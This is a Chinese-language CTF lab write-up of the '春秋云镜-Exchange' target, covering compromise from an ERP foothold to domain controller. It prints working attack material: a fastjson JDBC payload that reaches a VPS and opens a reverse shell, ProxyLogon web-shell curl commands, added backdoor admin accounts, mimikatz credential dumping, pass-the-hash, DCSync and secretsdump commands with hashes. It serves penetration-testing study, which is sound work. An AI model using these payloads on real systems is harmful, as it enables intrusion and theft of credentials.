春秋云镜-Exchange

0x00 Introduction

Exchange 靶场涉及到内网渗透中的信息收集、代理转发、内网扫描、特权提升以及横向移动等技术方法,能够加强对域环境核心认证机制的理解。

0x01 信息收集

nmap -sT --min-rate 10000 -p- 39.99.135.190 

发现有四个开放的端口:21,22,80,8000。注意 nmap 扫描最好扫两次,比对结果是否相同。我第一次扫描时就没扫出来 8000 端口。

接下来对这四个端口进行详细信息扫描:

nmap -sT -sC -sV -O -p21,22,80,8000 39.99.135.190

浏览器访问 http://39.99.135.190 ,显示禁止访问:

扫描 8000 端口的时候,得到了一个 url : http://39.99.135.190:8000/login.html 。访问之后,是个登录页面:

接下来开始 Web 渗透。

0x02 Web渗透

搜索关键词:Lumia ERP v2.3 CVE ,发现该系统存在未授权访问漏洞和远程命令执行漏洞:

华夏erp账号密码泄露+后台rce(最新组合漏洞) | CN-SEC 中文网

访问 /user/getAllList;.ico 可以获取用户凭据:

密码应该是被 MD5 加密了:

原来密码就是 123456,那么一开始尝试弱口令也能登录。

登录管理员账号后进入后台:

上述资料说后台存在 fastjson 反序列化漏洞,到现在还没接触过,搜一搜:

Java中Fastjson各版本漏洞对抗史与总结 - 先知社区
Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

0x03 Fastjson反序列化漏洞利用

fastjson 是一个由阿里开发的开源 JSON 解析库,可以将 Java 对象转换为 JSON 格式(序列化),也可以将 JSON 字符串转换为 Java 对象(反序列化)。

漏洞原理:
Fastjson反序列化漏洞是源于在处理 json 数据时对输入的验证不足,没有对@type字段进行过滤,导致攻击者可以构造一个恶意的 JSON 数据,将恶意类作为 AutoType 的值。当 fastjson 反序列化时,从而实例化指定类导致远程代码执行。

该漏洞在后台用户管理的查询功能处触发:

首先抓个包验证是否存在 fastjson 反序列化漏洞。

payload:

{"@type":"java.net.Inet4Address","val":"b0ab221691.ipv6.1433.eu.org."}

将 search 值改为 url 编码后的 payload:

接收到 DNS 记录,证明 fastjson 反序列化漏洞利用成功。

接下来构造 mysql-JDBC 利用链执行反弹 shell:fastjson 反序列化之mysql JDBC 利用_fastjson mysql-CSDN博客

需要用到 evil-mysql-server 和 ysoserial-all.jar 。

evil-mysql-server是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial。ysoserial-all.jar是一个 java 反序列化利用神器。

放在同一个文件夹下,编译 go 文件:

go build evil-mysql-server.go

执行以下命令开启一个 fake mysql server:

./evil-mysql-server -addr 3307 -java java -ysoserial ysoserial-all.jar

payload:

{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsIP地址",
"portToConnectTo": 3307,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的反弹shell命令}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}

作用是向远程 vps 伪造的恶意 MySQL 服务发送 SQL 请求,服务端返回恶意 SQL 结果触发反序列化。将 payload 进行 url 编码后发送:

成功执行反弹 shell:

获取入口机的 flag:

0x04 搭建代理

工具:FastProxy,建议仅在靶场使用。

在远程 vps 中启动 app.py 脚本:

复制上方启动脚本的 curl 命令,在入口机中执行:

socks 代理信息在 vps 端。在 kali 上编辑/etc/proxychains4.conf

测试一下,结果显示代理搭建成功:

0x05 内网扫描

查看入口机 ip 地址:

进入 /tmp 目录,使用 fscan 扫描整个网段:

./fscan -h 172.22.3.12/16
   ___                              _    
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 172.22.3.12 is alive
(icmp) Target 172.22.3.2 is alive
(icmp) Target 172.22.3.9 is alive
(icmp) Target 172.22.3.26 is alive
(icmp) Target 172.22.255.253 is alive
[*] LiveTop 172.22.0.0/16 段存活数量为: 5
[*] LiveTop 172.22.3.0/24 段存活数量为: 4
[*] LiveTop 172.22.255.0/24 段存活数量为: 1
[*] Icmp alive hosts len is: 5
172.22.3.9:445 open
172.22.3.26:445 open
172.22.3.9:808 open
172.22.3.2:445 open
172.22.3.9:443 open
172.22.3.9:139 open
172.22.3.2:139 open
172.22.3.26:135 open
172.22.3.26:139 open
172.22.3.9:135 open
172.22.3.2:135 open
172.22.3.9:81 open
172.22.3.9:80 open
172.22.3.2:88 open
172.22.3.9:8172 open
[*] alive ports len is: 15
start vulscan
[+] NetInfo:
[*]172.22.3.26
[->]XIAORANG-PC
[->]172.22.3.26
[*] 172.22.3.26 XIAORANG\XIAORANG-PC
[+] NetInfo:
[*]172.22.3.2
[->]XIAORANG-WIN16
[->]172.22.3.2
[*] WebTitle:http://172.22.3.9 code:403 len:0 title:None
[+] NetInfo:
[*]172.22.3.9
[->]XIAORANG-EXC01
[->]172.22.3.9
[*] 172.22.3.2 (Windows Server 2016 Datacenter 14393)
[*] 172.22.3.2 [+]DC XIAORANG\XIAORANG-WIN16 Windows Server 2016 Datacenter 14393
[*] 172.22.3.9 XIAORANG\XIAORANG-EXC01 Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.3.9:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle:https://172.22.3.9:8172 code:404 len:0 title:None
[*] WebTitle:https://172.22.3.9 code:302 len:0 title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle:https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237 title:Outlook
已完成 15/15
[*] 扫描结束,耗时: 21.323436507s

端口开放情况:

172.22.3.9445, 808, 443, 139, 135, 81, 80, 8172
172.22.3.2445, 139, 135, 88
172.22.3.26445, 135, 139
// 88 端口用于域控服务器的身份验证功能

内网信息搜集结果:

172.22.3.2	XIAORANG-WIN16	域控
172.22.3.9 XIAORANG-EXC01 Exchange邮件服务器
172.22.3.26 XIAORANG-PC 个人电脑
172.22.3.12 入口机

0x06 横向移动-Exchange邮件服务器

ProxyLogon(CVE-2021-26855) 是一个存在于 Microsoft Exchange Server 的漏洞,可以使攻击者绕过身份验证并模拟用户。

EXP: https://github.com/herwonowr/exprolog

proxychains python3 exprolog.py -t 172.22.3.9 -e administrator@xiaorang.lab

成功拿到 SYSTEM 权限:

用提供的命令测试一下:

proxychains curl --request POST --url https://172.22.3.9/owa/auth/xxala.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k

成功:

添加个用户:

net user foobar pass@123 /add
net localgroup administrators foobar /add

接下来使用 kali 自带的 remmina 远程登录该用户,由于靶机是 Windows 系统,选择 RDP 协议。

proxychains remmina

获取邮件服务器的 flag:

0x07 横向移动-域控

配置 remmina 的 share folder 共享本地文件:

[mimikatz](gentilkiwi/mimikatz: A little tool to play with Windows security):内网渗透神器,可以从 lsass.exe 进程中提取明文密码、哈希值、PIN 码和 Kerberos 票据,它还可以执行传递哈希值、传递票据、建立票据、伪造域管理凭证令牌等诸多功能。

以管理员权限打开 cmd,进入 mimikatz 相应的目录下,执行以下命令:

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt

BloodHound:是一款以可视化图形分析域环境中的关系的工具。
渗透测试之内网攻防篇:使用 BloodHound 分析大型域内环境 - FreeBuf网络安全行业门户

使用 BloodHound 进行信息收集。因为只有 SYSTEM 用户有域权限,所以不能用新加的用户,需要用 ProxyLogon 的 shell 来执行命令:

proxychains curl --request POST --url https://172.22.3.9/owa/auth/bzjtp.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("C:\Users\foobar\Desktop\Collectors/SharpHound.exe -c all --OutputDirectory C:/Users/foobar/Desktop/").stdout.readall())' -k

把收集到的数据放到本地分析:
渗透测试之内网攻防篇:使用 BloodHound 分析大型域内环境 - FreeBuf网络安全行业门户

发现 exchange 上的域用户有 writeDacl 权限。DACL (Discretionary Access Control List) 是访问控制列表的一部分,定义了哪些用户或组可以访问某个资源,以及能执行哪些操作。用户可以通过 WriteDACL 权限将自己添加为资源的完全控制者。

Impacket):是用于处理网络协议的 Python 类的集合。
Impacket脚本利用指南(上) - 先知社区

前面已经拿到了XIAORANG-EXC01$这个机器用户的 NTLM hash,所以可以先用 Impacket 中的 psexec.py 进行 PTH (Pass-the-Hash,利用 NTLM hash 冒充用户访问网络资源或系统,无需知道密码本身),获取 system 权限的可交互shell:

proxychains python3 psexec.py -hashes :03447ce0f4a9908d77c860954baa7c1e XIAORANG/XIAORANG-EXC01\$@172.22.3.9

上传powerview.ps1,为 Zhangtong 用户添加 DCSync 权限。DCSync 权限允许用户模拟域控请求帐户凭据,这是一种高权限操作,常见于密码提取攻击。

powershell -command "cd C:/Users/foobar/Desktop/; Import-Module .\powerview.ps1; Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIde Zhangtong -Rights DCSync -Verbose"


接着利用 Zhangtong 用户导出域内哈希:

proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc

域管哈希为:7acbc09a6c0efd81bfa7d5a1d4238beb,用 wmiexec 登录域控:

proxychains python3 wmiexec.py -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang/administrator@172.22.3.2

获取域控的 flag:

0x08 横向移动-个人电脑

还有个 172.22.3.26 没用到。刚刚导出的域内哈希显示还有个用户是 Lumia:

在域控上新增一个管理员用户:

net user bridge pass@123 /add
net localgroup administrators bridge /add

登录域控,win+r 输入 dsa.msc,在 Active Directory 修改 Lumia 用户的密码:

登录 172.22.3.26 的 rdp 后发现桌面有一个 secret.zip,不过需要解压密码。

内网中还存在Exchange服务,访问 https://172.22.3.9/owa/ ,使用 Lumia 用户的密码登录,查看邮件:

zip2john 爆破,手机号为 18763918468,解压拿到个人电脑的 flag:

0x09 Conclusion

第一次接触内网渗透,打靶过程非常吃力,基本遇到的全是新知识,继续加油吧。